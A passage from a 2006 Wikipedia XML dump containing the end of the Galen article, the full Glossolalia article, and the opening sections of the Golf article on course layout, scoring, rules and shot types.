From [[162]] he lived in [[Rome]] where he wrote extensively, lectured and publicly demonstrated his knowledge of [[anatomy]]. He gained a reputation as an experienced physician and his practice had widespread clientele. One of them was the [[consul]] [[Flavius Boethius]] who introduced him to the court where he became a court physician to Emperor [[Marcus Aurelius]]. Later he also treated [[Lucius Verus]], [[Commodus]] and [[Septimius Severus]]. Reputedly he spoke mostly [[Greek language|Greek]], which was a more respected language of medicine than [[Latin language|Latin]] at the time. He briefly returned to Pergamum during [[166]]-[[169]].

Galen spent the rest of his life in the Imperial court, writing and experimenting. He performed [[vivisection]]s of numerous animals to study the function of the [[kidneys]] and the [[spinal cord]]. His favorite subject was the [[barbary ape]]. Reportedly he employed twenty scribes to write down his words. In [[191]], fire in the Temple of Peace destroyed some of his records. His exact date of death has traditionally been placed around the year [[200]], based on a reference from the [[10th century]] [[Suda Lexicon]]. Some, however, have argued for dates as late as [[216]],on the basis that his last writings seem to be as late as [[207]].

== Work and impact ==
Galen transmitted [[Hippocratic medicine]] all the way to the [[Renaissance]]. His ''On the Elements According to [[Hippocrates]]'' describes the philosopher's system of [[The four humours|four bodily humours]], which were identified with the four [[classical element]]s. He created his own theories from those principles. In turn, he mainly ignored Latin writings of [[Aulus_Cornelius_Celsus|Celsus]].

Amongst Galen's own major works is a seventeen-volume ''On the Usefulness of the Parts of the Human Body''. He also wrote about philosophy and [[philology]]. His collected works total twenty-two volumes. 

Galen's own theories, in accord with [[Plato]]'s, emphasized purposeful creation by a single Creator (&quot;Nature&quot; - Greek ''phusis'') - a major reason why later [[Christian]] and [[Muslim]] scholars could accept his views. His fundamental principle of life was ''pneuma'' (air, breath) that later writers connected with the [[soul]]. ''Pneuma physicon'' (animal spirit) in the [[brain]] took care of [[movement]], [[perception]], and [[senses]]. ''Pneuma zoticon'' (vital spirit) in the [[heart]] controlled [[blood]] and [[body temperature]]. &quot;Natural spirit&quot; in the [[liver]] handled [[nutrition]] and [[metabolism]].

Galen expanded his knowledge partly by experimenting with live animals. One of his methods was to publicly dissect a living pig and cut its [[nerve]] bundles one at a time. Eventually he cut a [[laryngeal nerve]] (now also known as ''Galen's Nerve'') and the pig stopped squealing. He tied the [[ureter]]s of living animals to show that [[urine]] comes from the [[kidney]]s. He severed spinal cords to demonstrate [[paralysis]].

From the modern viewpoint, Galen's theories were partially correct, partially flawed. He demonstrated that [[artery|arteries]] carry [[blood]], not air and made first studies about nerve functions, and the [[brain]] and [[heart]]. He also argued that the mind was in the brain, not in the heart as [[Aristotle]] had claimed. 

However, much of Galen's understanding is flawed from the modern point of view. He did not recognize [[circulatory system|blood circulation]] and thought that [[venous]] and [[arteries|arterial]] systems were separate. This view did not change until [[William Harvey]]'s work in the [[17th century]]. Since most of his knowledge of anatomy was based on dissection of pigs, dogs, and [[Barbary ape]]s, he also assumed that ''[[rete mirabile]]'', a blood vessel plexus of [[ungulate|ungulates]], also existed in the human body. He also resisted the idea of [[tourniquet]]s to stop bleeding and vigorously propagated [[blood letting]] as a treatment.

Galen's authority dominated medicine all the way to the [[16th century]]. Experimenters' disciples did not bother to experiment and studies of [[physiology]] and anatomy stopped - Galen had already written about everything. [[Blood letting]] became a standard medical procedure. [[Vesalius]] presented the first serious challenge to his hegemony. 

Much of medieval Islamic medicine drew on the works of the ancient Greeks, especially those elucidated by Galen, such as his expanded [[Four humours|humoral theory]]. Most of Galen's Greek writings were first translated to the [[Syriac language]] by [[Nestorian]] monks in the university of [[Academy of Gundishapur|Gundishapur]], [[Persian Empire|Persia]].  Muslim scholars primarily in Baghdad translated the Syriac manuscripts into [[Arabic language|Arabic]], along with many other Greek classics. They became some of the main sources for [[Islamic Golden Age|Arabian scholars]] such as [[Avicenna]], [[Rhazes]], and [[Maimonides]]. Galen was known in Arabic as '''Jalinos''', and many people with that name today are considered to be descendents of him.

== External links ==
*[http://www.med.virginia.edu/hs-library/historical/antiqua/galen.htm Galen]

*[http://www.udayton.edu/~hume/Galen/galen.htm Galen, university dayton]

*[http://www.medicinaantiqua.org.uk/bio_gal.html Galen: A Biographical Sketch]

*[http://www.ancientlibrary.com/medicine/index.html ''Greek Biology and Medicine''] by Henry Osborn Taylor (1922), scanned edition. Chapter 5 is devoted to  [http://www.ancientlibrary.com/medicine/0109.html &quot;The Final System: Galen&quot;].

*[http://pacs.unica.it/biblio/lesson2.htm Galen and the Greek-Helenic history of medicine]

== Books ==
*'''Jeanne Bendick''' - ''Galen and the Gateway to Medicine''

[[Category:History of ancient medicine]]
[[Category:Latin authors]]
[[Category:Greek anatomists]]
[[Category:Ancient Greeks]]

[[cs:Claudius Galén]]
[[de:Galenus]]
[[es:Galeno]]
[[fr:Claude Galien]]
[[it:Galenus]]
[[hu:Galénosz]]
[[nl:Claudius Galenus]]
[[no:Galen]]
[[pl:Galen]]
[[pt:Cláudio Galeno]]
[[sl:Galen]]
[[fi:Galenos]]
[[sv:Galenos]]
[[zh:盖伦]]</text>
    </revision>
  </page>
  <page>
    <title>Glossolalia</title>
    <id>12327</id>
    <revision>
      <id>41394390</id>
      <timestamp>2006-02-27T01:12:50Z</timestamp>
      <contributor>
        <ip>209.115.201.214</ip>
      </contributor>
      <comment>/* Context and terms */</comment>
      <text xml:space="preserve">'''Glossolalia''' (from the Greek, &quot;&amp;#947;&amp;#955;&amp;#974;&amp;#963;&amp;#963;&amp;#945;&quot; (glossa), tongue and &quot;&amp;#955;&amp;#945;&amp;#955;&amp;#974;&quot; (lalô), to speak) comprises the utterance of what appears (to the casual listener) either as an unknown foreign language ('''xenoglossia'''), meaningless syllables, or utterance of an unknown [[mystical language]]; the utterances sometimes occur as part of religious worship ('''religious glossolalia''').

[[Skepticism|Skeptics]] dismiss these cases as simply being in a state of trance, self-[[hypnotism]] or [[religious]] [[ecstasy]]. It is notable that in [[Charismatic]]/[[Pentecostal]] [[Churches]] there is often a state of heightened [[emotionalism]] which may, in the view of skeptics, itself give rise to instances of glossolalia (what Christians in those churches often refer to as '''speaking in tongues'''). 
==Scientific perspectives==
===Linguistics===
The syllables that make up instances of glossolalia typically appear to be unpatterned reorganizations of [[phoneme]]s from the primary language of the person uttering the syllables; thus, the glossolalia of people from [[Russia]], the [[United Kingdom]], and [[Brazil]] all sound quite different from each other, but vaguely resemble the Russian, English, and Portuguese languages, respectively.  Many [[linguist]]s generally regard most glossolalia as lacking any identifiable [[semantics]], [[syntax]], or [[Morphology (linguistics)|morphology]].{{fact}}

Noted linguist [[J.R.R. Tolkien]] had a significant affinity for tongues since his early years and is reported that his great concern on phonoaesthetics, resulted in him speaking nonsense alone, playing with sounds and phonemes and generating 'beautiful' speech.{{fact}}

Improvisation is exemplified also in modern music, specifically in the singing of [[Lisa Gerrard]] and [[Elizabeth Fraser]] who also use [[mouth music]].

===Psychology===
The first scientific study of glossolalia was done by psychiatrist [[Emil Kraepelin]] as part of his research into the linguistic behaviour of [[schizophrenia|schizophrenic]] patients. In 1927, G.B. Cutten published his book ''Speaking with tongues; historically and psychologically considered'', which was regarded a standard in medical literature for many years. Like Kraepelin, he linked glossolalia to schizophrenia and [[hysteria]]. In 1972, John Kildahl took a different psychological perspective in his book ''The Psychology of Speaking in Tongues''. He stated that glossolalia was not necessarily a symptom of a mental illness and that glossolalists suffer less from [[Stress (medicine)|stress]]. He did observe, however, that glossolalists tend to have more need of authority figures and appeared to have had more crises in their lives. 

Nicholas Spanos described glossolalia as an acquired ability, for which no real trance is needed (''Glossolalia as Learned Behavior: An Experimental Demonstration'', 1987).  It is also known as a [[simplex communication]].

== &quot;Speaking in tongues&quot; in some Christian traditions ==

Certain [[Christianity | Christian]]s (see below) regard the act of '''speaking in tongues''', as a gift of [[God]] through the [[Holy Spirit]]. As described in the [[Book of Acts]] and [[1 Corinthians]], it is one of holy [[Spiritual gift|Gifts of the Spirit]] given by God to the faithful on the Day of [[Pentecost]]. Other religious faiths also incorporate glossolalia as a component of worship traditions.

====Context and terms====
For members of some Christian sects, &quot;glossolalia&quot; is an incorrect term from contemporary language of empirical [[classification]] (or [[neologism]]) to describe an experience in which human language itself is quickly revealed to be entirely unrelated from [[speech]], and where the depths of human [[communication]] are revealed to be [[spirituality|spiritual]], not material, in nature.

This experience is described in the Book of Acts 2:1, and is often referred to as the [[Pentecost]], as the day that the Holy Spirit was revealed to several thousand men in one place. 

''Acts Chapter 2: &quot;1When the day of Pentecost came, they were all together in one place. 2Suddenly a sound like the blowing of a violent wind came from heaven and filled the whole house where they were sitting. 3They saw what seemed to be tongues of fire that separated and came to rest on each of them. 4All of them were filled with the Holy Spirit and began to speak in other tongues as the Spirit enabled them. 5Now there were staying in Jerusalem God-fearing Jews from every nation under heaven. 6When they heard this sound, a crowd came together in bewilderment, because each one heard them speaking in his own language. 7Utterly amazed, they asked: &quot;Are not all these men who are speaking Galileans? 8Then how is it that each of us hears them in his own native language? 9Parthians, Medes and Elamites; residents of Mesopotamia, Judea and Cappadocia, Pontus and Asia, 10Phrygia and Pamphylia, Egypt and the parts of Libya near Cyrene; visitors from Rome 11(both Jews and converts to Judaism Cretans and Arabs—we hear them declaring the wonders of God in our own tongues!&quot; 12Amazed and perplexed, they asked one another, &quot;What does this mean?&quot; &quot;'' 

Because of the profound nature of the experience, and its direct conflict with developed habits and learnings for [[rationality]] and objective realism, &quot;the gift&quot; is regarded by Christians not just as an innate ability for [[community]], but as one of a number of gifts which offer profound spiritual insight and a collective [[experiential proof]] of an underlying spiritual nature. 

In the language of [[alternative science]], this experience would be described as group [[telepathy]], however one in which the apparent material linguistic barriers between peoples of different regions had suddenly and completely been removed. Though the communication of ''meaning'' became universal, the passage in Acts 2:1 makes it clear that the words of speech themselves remained in the ''unintelligible'' foreign tongue &amp;mdash;which contradicts the common notion that glossolalia refers to meaningless words. In the context of this group experience, the power of the [[Holy Spirit]] was revealed to be transcendent, all-knowing, and terrifying to those for whom belief was a mystery. The timely ministry of Saint [[Peter]] was a message of understanding and [[fellowship]], which offered listeners a choice between hope and salvation or disbelief and despair.

The Christian reference to the fundamental &quot;Holy Spirit&quot; denotes the belief that the Pentecost &quot;glossolalia&quot; refers not just to connectivity between human beings, but implies a larger number of 'holy gifts' by which mortal people may directly 'know the will of [[God]].' For Christians, the acceptance of the ''[[truth]]'' of this experience of God, brings with it a greater knowledge of God.

====Tongues in the New Testament====

In the [[New Testament]], the book of [[Acts of the Apostles | Acts]] recounts how  &quot;tongues of fire&quot;  descended upon the heads of the [[Twelve Apostles|Apostle]]s, accompanied by the miraculous occurrence of speaking in languages unknown to them, but recognizable to others present as particular foreign languages. Not only their peers, but also anyone else in the room who spoke any other language, could understand the words that the Apostles spoke.

The [[Book of Acts]] (2:1) described the phenomenon in terms of a miracle of universal translation, enabling people from many parts of the world speaking many different languages to understand them.  This Biblical case exemplifies '''religious xenoglossia''', i.e., miraculously speaking in an actual foreign language that the speaker does not know. 

Some of the Orthodox hymns sung at the Feast of Pentecost, which commemorates this event in Acts, describe it as a reversal of what happened at the [[Tower of Babel]] as described in Genesis 11. In other words, the languages of humanity were differentiated at the Tower of Babel leading to confusion, but were reunited at Pentecost, resulting in the immediate proclamation of the [[Gospel]] to people who were gathered in Jerusalem from many different countries. 

Elsewhere in the [[New Testament]] Paul describes the experience as speaking in an &quot;unknown tongue&quot; (1 Cor 14:14-19), known as '''theopneustic glossolalia''', and discourages simultaneous speaking in tongues lest unbelievers think the assembled brethren &quot;mad&quot; (1 Cor 14:23, 27). Many [[Pentecostal]] groups teach that speaking in tongues is not exclusively xenoglossia.

Fundamental to [[Bible|Biblical]] [[Exegesis|interpretation]] is the appropriate transliteration of primitive terms, and just as the term &quot;[[spirit]]&quot; comes from &quot;breath&quot; or &quot;vapour&quot;, the term &quot;tongues of fire&quot; is almost certainly a use of [[fire]] as a metaphor for markedly increased and radiant powers of speech during the Pentecost.

====Contemporary Christian glossolalia====

Some Christians have claimed that they have witnessed, or personally engaged in, &quot;speaking in tongues&quot;. These claims have particular importance in the [[Pentecostalism|Pentecostal]] and in the [[Charismatic]] traditions.  The belief that the gifts of the Apostles ([[Acts]] 2) continue to persist in the modern world forms a fundamental point of Pentecostal and Charismatic doctrine.  In light of [[1 Corinthians]] 14:2 and 14:14, both Pentecostals and Charismatics believe that speaking in tongues is a form of praying in the spirit. 

Other Christians hold that this religious glossolalia comprises, at least in some cases, ''bona fide'' language inspired by the [[Holy Spirit]]: utterances in a language usually unknown to both the speaker and to the listeners. More and more Christians are accepting glossolalia as seen in the fact that Pentecostalism is the fastest growing sect within Christianity, however, this view is more typically held in the conservative [[Evangelicalism|Evangelical]] or [[Fundamentalist_Christianity|fundamentalist]]. 

[[Charismatic]]/[[Pentecostal]] and [[Evangelicalism|Evangelical]] Christians more readily agree that the original instances of Christian glossolalia, as reported in the book of Acts, exemplified ''bona fide'' instances of actual human languages. In some cases, listeners have been able to distinguish words that they have heard before although they could not speak the full language themselves.

Some [[Charismatic]] Christians identify three different activities that comprise &quot;tongues&quot;.  The &quot;sign of tongues&quot; refers to xenoglossia, in which listeners hear their native language by means of divine power.  The &quot;gift of tongues&quot; refers to a belief that the [[Holy Spirit]] sometimes conveys a message through a believer engaged in glossolalia, which requires an interpretation for those hearing.  Lastly &quot;praying in the spirit&quot; refers to a believer engaged in glossolalia as a private prayer between the believer and God.

''See also: [[Criticisms of Charismatic and Pentecostal belief]], [[Baptism of the Holy Spirit]]''

==Glossolalia in other religions==

Aside from Christians, certain religious groups also have been observed to practice some form of ''theopneustic glossolalia''. 

Glossolalia is evident in the renowned ancient [[Oracle of Delphi]], whereby a priestess of the god [[Apollo]] (called a sibyl) speaks in strange utterances, supposedly through the spirit of Apollo in her, but possibly related to high levels of natural gas present in spring waters beneath the temple. 

Certain [[Gnosticism|Gnostic]] magical texts from the Roman period have written on them nonsense syllables like &quot;t t t t t t t t n n n n n n n n n d d d d d d d...&quot; etc. It is believed that these may be transliterations of the sorts of sounds made during glossolalia.

In the 19th century, [[Spiritism]] was developed into a religion of its own thanks to the work of [[Allan Kardec]] and the phenomenon was seen as one of the self-evident manifestations of [[Spirit]]s. Spiritists argued that some cases were actually cases of [[Xenoglossia]] (when one speaks in a language unknown to him). However, the importance attributed to it, as well as its frequency, has since decreased significantly. Present-day spiritists regard the phenomenon pointless, as it does not convey any intelligible message to those present.

Glossolalia has also been observed in [[shamanism]] and the [[Voodoo]] religion of [[Haiti]]; it can often be brought on by the ingestion of [[Psychedelics, dissociatives and deliriants|hallucinogenic drug]]s or [[entheogen]]s such as [[Psychedelic mushrooms|Psilocybe mushrooms]].


==See also==
*[[Biblical hermeneutics]]
*[[Covenant theology]]
*[[Dispensationalism]]
*[[Pentecostalism]]
*[[Charismatics]]
*[[Grammatical-historical]]
*[[Philip K. Dick]]
*[[Snow Crash]]

==External links==
* [http://gospel-herald.com/noorbergen/glossolalia_book_1/glossolalia_index1.htm Glossolalia, an online book by Rene Noorbergen]
* [http://skepdic.com/glossol.html A Skeptic's Perspective] The Skeptic's Dictionary on Glossolalia
* [http://wesley.nnu.edu/wesleyan_theology/theojrnl/31-35/31-1-05.htm Glossolalia as Foreign Language] by D. William Faupel
* [http://web.archive.org/web/20041010115802/http://www.ubu.com/ethno/soundings/gloss.html UbuWeb Ethnopoetics: Glossolalia]
* [http://www.bible411.com/glossolalia/ Bible411.com on Glossolalia] (a skeptical critique from a Christian point of view)

==Biblical references to speaking in tongues==
* Isaiah 28:11 (1 Corinthians 14:21)
* Mark 16:17
* Acts 2:4-15
* Acts 10:44-48
* Acts 19:2-6
* 1 Corinthians 12:8-11
* 1 Corinthians 13:1
* 1 Corinthians 14:1-40


[[Category:Charismatic and Pentecostal Christianity]]

[[da:Tungetale]]
[[de:Zungenrede]]
[[es:Glosolalia]]
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    </revision>
  </page>
  <page>
    <title>Golf</title>
    <id>12328</id>
    <revision>
      <id>42146204</id>
      <timestamp>2006-03-04T03:06:21Z</timestamp>
      <contributor>
        <ip>68.107.196.107</ip>
      </contributor>
      <comment>/* Anatomy of a golf course */</comment>
      <text xml:space="preserve">&lt;!--

A NOTE TO CONTRIBUTORS 

Thank you for contributing your knowledge to Wikipedia. 

Golf is a complex topic, and this article is organised in a way that should make it as easy as possible for the reader. PLEASE TAKE THE TROUBLE TO READ THE ARTICLE BEFORE EDITING IT, and please try to find out into which section your contribution belongs. Often, a particular piece of information will already be present and it will be better to rephrase or expand it instead of adding it anew.

Because readers with no prior knowledge of golf will read this article, it explains important concepts in a logical order. For example, &quot;anatomy of a golf course&quot; is the first section because it explains many terms that are necessary for understanding the &quot;play of the game&quot;, which in turn lays the ground for &quot;handicap systems&quot;. Similarly, &quot;types of shots&quot; comes before &quot;golf clubs&quot; because it defines rthe shots for which  the specific clubs are used.

There are many sub-topics linked from here, and as the article is already rather long, it might often be better to expand a related article rather than [[Golf]].

Thank you for your consideration, and happy editing.

--&gt;

:''This article is about the game of golf. For other meanings, see [[Golf (disambiguation)]]. Putting can also refer to [[shot put]].'' 
'''Golf''' (''gowf'' in [[Scots language|Scots]]) is a [[game]] where individual players or teams hit a [[golf ball|ball]] into a [[hole]] using various [[golf club (equipment)|clubs]], and is one of the few [[ball games]] that does not use a fixed standard playing area.  It is defined in the ''Rules of Golf'' as ''&quot;playing a ball with a club from the teeing ground into the hole by a stroke or successive strokes in accordance with the Rules.&quot;''

Golf originated in [[Scotland]] and has been played for several centuries in the [[British Isles]]. The oldest course in the world is The Old Links at [[Musselburgh]]. Golf has been played on Musselburgh Links since 1672. Although often viewed as an [[elite]] pastime, golf is increasingly popular.

{| align=right
|[[Image:Spanish-Bay-First-Tee.jpg|thumb|300px|right|Tee for the first hole at [[The Links at Spanish Bay]]]]
|-
|[[image:golf.bunker.arp.750pix.jpg|thumb|right|300px|Bunkers at Filton Golf Club, Bristol, England]]
|}

==Anatomy of a golf course==
Golf is played on a tract of land designated as ''the course''. The course consists of a series of ''holes''.  A ''hole'' means both the hole in the ground into which the ball is played (also called the ''cup''), as well as the total distance from the ''tee'' (a pre-determined area from where a ball is first hit) to the ''green'' (the area surrounding the actual hole in the ground). Most golf courses consist of 9 or 18 holes. (The &quot;[[nineteenth hole]]&quot; is the colloquial term for the bar/grill at a club house). 

The first stroke on each hole is done from the ''tee'' (officially, ''teeing ground''), where the grass is well tended to facilitate the ''tee shot''. After teeing off, the player hits the ball from the ''fairway'' (where the grass is cut so low that most balls can be easily played) or from the ''rough'' (grass cut much longer than fairway grass, or which may be uncut) until the ball comes to rest in the cup. Many holes include ''hazards'', which may be of two types: water hazards (lakes, rivers, etc.) and bunkers. Special rules apply to playing balls that come to rest in a hazard, which make it undesirable to play a ball into one. For example, in a hazard, a player must not touch the ground with his club prior to playing a ball, not even for a practice swing. A ball in any type of hazard may be played as it lies without penalty. If it cannot be played from the hazard for any reason, it may be removed by hand and dropped outside the hazard with a penalty of one stroke. If a ball in a hazard cannot be found, it may be replaced by dropping another ball outside the hazard, again with one stroke penalty. Exactly where a ball may be dropped outside a hazard is governed by strict rules. [[Bunker]]s (or ''sand traps'') are hazards from which the ball is more difficult to play than from grass. As in a water hazard, a ball in a sand trap must be played without previously touching the sand with one's club.

The [[lawn|grass]] of the ''putting green'' (or more commonly the ''green'') is cut very short so that a ball can roll easily over distances of several yards. To ''putt'' means to play a stroke, usually but not always on the green, wherein the ball does not leave the ground. The direction of growth of individual blades of grass often affects the roll of a golf ball and is called the ''grain''. The cup is always found within the green, and must have a diameter of 108 mm and a depth of at least 100 mm. Its position on the green is not static and may be changed from day to day. The cup usually has a flag on a pole positioned in it so that it may be seen from some distance, but not necessarily from the tee. This flag and pole combination is often called the ''pin''.

The borders of a course are marked as such, and beyond them is ''out of bounds'', that is, ground from which a ball must not be played. Some areas on the course may be designated as ''ground under repair'', meaning that a ball coming to rest in them may be lifted and then played from outside such ground without penalty. Certain man-made objects on the course are defined as ''obstructions'', and specific rules determine how a golfer may proceed when the play is impeded by these.

Every hole is classified by its ''par''. The par of a hole is primarily but not exclusively determined by the distance from tee to green. Typical lengths for par three holes range from 100 to 224 m, for par four holes from 225 to 434 m, and for par five holes 435 m and greater. Par is the theoretical number of strokes that an expert golfer should require for playing the ball into any given hole. The expert golfer is expected to reach the green in two strokes under par (''in regulation'') and then use two putts to get the ball into the hole. Many 18-hole courses have approximately four par-three, ten par-four, and four par-five holes. The total par of an 18-hole course is usually around 72. In many countries, courses are classified by a ''course rating'' in addition to the course's par. This rating describes the difficulty of a course and may be used to calculate a golfer's playing handicap for that individual course (see [[golf handicap]]).

At most golf courses there are additional facilities that are not part of the course itself. Often there is a ''practice range'', usually with practice greens, bunkers, and a driving area (where long shots can be practiced). There may even be a practice course (which is often easier to play or shorter than other golf courses). A golf school is often associated with a course or club.

==Play of the game==
Every game of golf is based on playing a number of holes in a given order. A ''round'' typically consists of 18 holes that are played in the order determined by the course layout. On a nine-hole course, a standard round consists of two successive nine-hole rounds. A hole of golf consists of hitting a ball from a tee on the ''[[teeing ground]]'' (a marked area designated for the first shot of a hole), and, once the ball comes to rest, striking it again, and repeating this process until the ball at last comes to rest in the cup. Once the ball is on the ''green'' (an area of finely cut grass) the ball is usually ''putted'' (hit along the ground) into the hole. The aim of holing the ball in as few strokes as possible may be impeded by various hazards, such as bunkers and [[water hazard]]s.

Players walk (or in some countries, often drive in motorized electric carts) over the course, either singly or in groups of two, three, or four, sometimes accompanied by [[caddie]]s who carry and manage the players' equipment and give them advice. Each player plays a ball from the tee to the hole, except that in the mode of play called ''foursomes'', two teams of two players compete, and the members of each team alternate shots using only one ball, until the ball is holed out. When all individual players or teams have brought a ball into play, the player or team whose ball is the farthest from the hole is next to play. In some team events, a player whose ball is farther from the hole may ask his partner to play first. When all players of a group have completed the hole, the player or team with the best score on that hole has the ''honor'', that is, the right to play first on the next tee.

Each player acts as ''marker'' for one other player in the group, that is, he or she records the score on a ''score card''. In stroke play (see below), the score consists of the number of strokes played plus any ''penalty strokes'' incurred. Penalty strokes are not actually strokes but penalty points that are added to the score for violations of rules or for making use of relief procedures in certain situations. 

===Scoring===
In every form of play, the aim is to play as few shots per round as possible. Scores for each hole can be described as follows:

&lt;center&gt;
{|class=&quot;wikitable&quot;
!bgcolor=#dfdfdf align=&quot;center&quot;|Term on a &lt;br&gt;scoreboard
!bgcolor=#dfdfdf align=&quot;center&quot;|Specific term
!bgcolor=#dfdfdf|Definition
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|-3
|align=&quot;center&quot;| albatross (double-eagle)
|three strokes under par 
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|-2
|align=&quot;center&quot;|eagle 
|two strokes under par
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|-1
|align=&quot;center&quot;|birdie 
|one stroke under par
|-
|bgcolor=#EFEFEF align=&quot;center&quot;| 0
|align=&quot;center&quot;|par or even
|strokes equal to par
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|+1
|align=&quot;center&quot;|bogey
|one stroke more than par
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|+2
|align=&quot;center&quot;|double bogey
|two strokes over par
|-
|bgcolor=#EFEFEF align=&quot;center&quot;|+3
|align=&quot;center&quot;|triple bogey
|three strokes over par
|}
&lt;/center&gt;


The two basic forms of playing golf are [[match play]] and [[stroke play]].
*In match play, two players (or two teams) play every hole as a separate contest against each other. The party with the lower score wins that hole, or if the scores of both players or teams are equal the hole is &quot;halved&quot; (drawn). The game is won by the party that wins more holes than the other. In the case that one team or player has taken a lead that cannot be overcome in the number of holes remaining to be played, the match is deemed to be won by the party in the lead, and the remainder of the holes are not played. For example, if one party already has a lead of six holes, and only five holes remain to be played on the course, the match is over. At any given point, if the lead is equal to the number of holes remaining, the match is said to be &quot;dormie&quot;, and is continued until the leader increases the lead by one hole, thereby winning the match, or until the match ends in a tie. When the game is tied after the predetermined number of holes have been played, it may be continued until one side takes a one-hole lead, and thereupon immediately wins by one hole. 
*In stroke play, every player (or team) counts the number of shots taken for the whole round or tournament to produce the total score, and the player with the lowest score wins. A variant of stroke play is ''Stableford'' scoring, where a number of points (two for the target score) are given for each hole, and the fewer shots taken, the more points obtained, so the aim is to have as many points as possible. Another variant of stroke play, the ''Modified Stableford'' method, awards points on each hole in relation to par and then adds the points over a round; for more details on this method, see the article on [[The INTERNATIONAL]], a tournament that uses Modified Stableford scoring.

There are many variations of these basic principles, some of which are explicitly described in the &quot;Rules of Golf&quot; and are therefore regarded &quot;official&quot;. &quot;Official&quot; forms of play are, among others, ''foursome'' and ''four-ball'' games.

===Team play===
A ''foursome'' (defined in Rule 29) is played between two teams of two players each, in which each team has only one ball and players alternate playing it. For example, if players A and B form a team, A tees off on the first hole, B will play the second shot, A the third, and so on until the hole is finished. On the second hole, B will tee off (regardless who played the last putt on the first hole), then A plays the second shot, and so on. Foursomes can be played as match play or stroke play.

A ''four-ball'' (Rules 30 and 31) is also played between two teams of two players each, but every player plays his own ball and for each team, the lower score on each hole is counted. Four-balls can be played as match play or stroke play.

There are also popular unofficial variations on team play. In a ''scramble'', or ''ambrose'', each player in a team tees off on each hole, and the players decide which shot was best. Every player then plays his second shot from where the best ball has come to rest, and the procedure is repeated until the hole is finished.

In a ''greensome'' both players tee off, and then pick the best shot as in a scramble. The player who did not shoot the best first shot plays the second shot. The play then alternates as in a foursome.

===Fees===
If one wishes to play on a golf course, one has to pay a certain fee. There are two different fees: the range fee, which is for the practice range; and the green fee, which allows play on the golf course itself. The green fee may vary from the equivalent of a few U.S. dollars for communal courses in many countries up to that of several hundred dollars for elite private clubs. Discounts on fees may be offered for players starting their round late in the day.

==Handicap systems==
{{main|Golf handicap}}

A handicap is a numerical measure of an [[amateur]] golfer's ability. It can be used to calculate a so-called &quot;net&quot; score from the number of strokes actually played, thus allowing players of different proficiency to play against each other on equal terms. Handicaps are administrated by golf clubs or national golf associations. 

Handicap systems are not used in professional golf. Professional golfers typically score several strokes below par for a round.


==Golf rules and other regulations==
The ''rules of golf'' [http://www.usga.org/playing/rules/rules_of_golf.html#]  [http://www.randa.org/flash/rules/PDF/RoG2004.pdf] are internationally standardised and are jointly governed by the [[Royal and Ancient Golf Club of St Andrews]] (R&amp;A), which was founded 1754 and the [[United States Golf Association]] (USGA). By agreement with the R&amp;A, USGA jurisdiction on the enforcement and interpretation of the rules is limited to the [[United States]] and [[Mexico]]. Because the rules of golf continue to evolve, amended versions of the rule book are usually published and made effective in a four-year cycle. 

The underlying principle of the rules is fairness. As stated on the back cover of the official rule book: &quot;play the ball as it lies&quot;, &quot;play the course as you find it&quot;, and &quot;if you can't do either, do what is fair&quot;. Some rules state that:
*every player is entitled and obliged to play the ball from the position where it has come to rest after a stroke, unless a rule allows or demands otherwise (Rule 13-1) 
*a player must not accept assistance in making a stroke (Rule 14-2)
*the condition of the ground or other parts of the course may not be altered to gain an advantage, except in some cases defined in the rules
*a ball may only be replaced by another if it is destroyed, lost, or unplayable, and a penalty is incurred in the latter cases

The ''Decisions on the Rules of Golf'' are based on formal case decisions by the R&amp;A and USGA and are published regularly.

The ''[[etiquette]]'' of golf, although not formally equivalent to the rules, are included in the publications on golf rules and are considered binding for every player. They cover matters such as safety, fairness, easiness and pace of play, and players' obligation to contribute to the care of the course. 

There are strict regulations regarding the amateur status of golfers [http://www.usga.org/rules/am_status]. Essentially, everybody who has ever taught or played golf for money (or even accepted a trophy of more than a modest monetary value) is not considered an amateur and must not participate in amateur competitions.

[[Image:Golf in ireland.jpg|thumb|250px|right|Strandhill Golf Club in Ireland is an example of a coastal links course.]]

==Golf course architecture and design==
While no two courses are alike, many can be classified into one of the following broad categories:
* [[Links (golf)|Links]] courses: the most traditional type of golf course, of which some century-old examples have survived in the British isles. Located in coastal areas, on sandy soil, often amid dunes, with few artificial water hazards and few if any trees. Traditional links courses, such as The [[Old Course at St. Andrews]], are built on &quot;land reclaimed from the sea,&quot; land that was once underwater.
*Parkland courses: typical inland courses, often resembling traditional British parks, with lawn-like fairways and many trees.
*Heathland &amp;#8211; a more open, less-manicured inland course often featuring gorse and heather and typically less wooded than &amp;#8220;parkland&amp;#8221; courses. Examples include Woodhall Spa in England and Gleneagles in Scotland.
*Desert courses: a rather recent invention, popular in Australia, parts of the USA and in the Middle East. Desert courses require heavy irrigation for maintenance of the turf, leading to concerns about the ecological consequences of excessive water consumption. A desert course also violates the widely accepted principle of golf course architecture that an aesthetically pleasing course should require minimal alteration of the existing landscape. Nevertheless, many players enjoy the unique experience of playing golf in the desert.
*Sand courses: instead of a heavily irrigated 'green', the players play on sand.
*Snow courses: another rather recent invention; golf being played on snow, typically with an orange colored or another brightly colored ball. Can be played in Arctic or subarctic regions during winter. 

In the [[United States]] design varies widely, with courses such as the entirely artificial Shadow Creek in Las Vegas, where a course complete with waterfalls was created in the desert, and on the other end of the spectrum, Rustic Canyon outside of Los Angeles, which was created with a minimal amount of earth moving resulting in an affordable daily green fee and a more natural golfing experience.

==Hitting a golf ball==
To hit the ball, the [[golf club (equipment)|club]] is swung at the motionless ball on the ground (or wherever it has come to rest) from a side stance. Many golf shots make the ball travel through the air (''carry'') and roll out for some more distance (''roll'').

Every shot is a compromise between length and precision, as long shots are generally less precise than short ones. Obviously, a longer shot may result in a better score if it helps reduce the total number of strokes for a given hole, but the benefit may be more than outweighed by additional strokes or penalties if a ball is lost, out of bounds, or comes to rest on difficult ground. Therefore, a skilled golfer must assess the quality of his or her shots in a particular situation in order to judge whether the possible benefits of aggressive play are worth the risks.

===Types of shots===
*A ''tee shot'' is the first shot played from a teeing ground. It is often made with a ''driver'' (i.e., a 1-wood) off a tee for long holes, or with an iron on shorter holes. Ideally, tee shots on long holes have a rather shallow flight and long roll of the ball, while tee shots on short holes are flighted higher and are expected to stop quickly.

